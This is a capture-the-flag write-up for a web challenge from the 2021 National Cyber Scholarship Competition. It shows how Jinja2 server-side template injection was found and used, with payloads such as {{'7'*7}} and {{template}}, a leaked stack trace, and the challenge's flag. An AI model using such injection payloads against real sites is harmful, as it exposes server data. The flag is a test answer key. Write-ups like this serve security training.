NCS Competition 2021 Writeup
  • HHousen National Cyber Scholarship Competition 2021 Writeup
  • Forensics
    • FE02 - 100pts
    • FE03 - 100pts
    • FH01 - 500pts
    • FE04 - 100pts
    • FM01 - 250pts
    • FM02 - 250pts
    • FM03 - 250pts
    • FE01 - 100pts
  • Crypto
    • CM01 - 250pts
    • CM02 - 250pts
    • CX01 - 1000pts
    • CH01 - 500pts
    • CH02 - 500pts
  • Binary
    • BM01 - 250pts
    • BM02 - 250pts
    • BM03 - 250pts
    • BX01 - 1000pts
    • BX02 - 100pts
    • BE01 - 100pts
    • BE02 - 100pts
    • BH01 - 500pts
  • Networking
    • NM01 - 250pts
    • NE01 - 100pts
  • Web
    • WX01 - 1000pts
    • WE01 - 100pts
    • WE02 - 100pts
    • WH01 - 500pts
    • WH02 - 500pts
    • WM01 - 250pts
    • WM02 - 250pts
    • WM03 - 250pts
    • WM04 - 250pts
    • WM05 - 250pts
  • Challenge Name
Powered by GitBook
On this page
  • Briefing
  • Solution
  • Flag

Was this helpful?

Edit on Git
  1. Web

WM04 - 250pts

PreviousWM03 - 250ptsNextWM05 - 250pts

Last updated 4 years ago

Was this helpful?

Briefing

Visit the Italian dish suggestion site at and find a way to get the flag.

Solution

  1. Try with {{'7'*7}}, which outputs 7777777 so the script is vulnerable. Note that editing and sending these requests is much easier using Burp Suite's repeater (intercept a request and right click then choose "Sent to repeater").

  2. Crash the script with {{foo()}} to get a stacktrace:

     File "/var/task/lambda_function.py", line 42, in lambda_handler
         'body': handle(event)
     ", "  File "/var/task/lambda_function.py", line 34, in handle
         msg = Template(template).render(dir=dir, help=help, locals=locals, globals=globals, template=flag)
     ", "  File "/var/task/jinja2/environment.py", line 1090, in render
         self.environment.handle_exception()
     ", "  File "/var/task/jinja2/environment.py", line 832, in handle_exception
         reraise(*rewrite_traceback_stack(source=source))
     ", "  File "/var/task/jinja2/_compat.py", line 28, in reraise
         raise value.with_traceback(tb)
     ", "  File "<template>", line 2, in top-level template code
  3. There is a template variable passed to the render function for the template. Let's send a request for {{template}} to print the contents of the template/flag variable. This shows the flag.

Flag

t3mpl4te_vu1n

https://cfta-wm04.allyourbases.co
SSTI (Server Side Template Injection)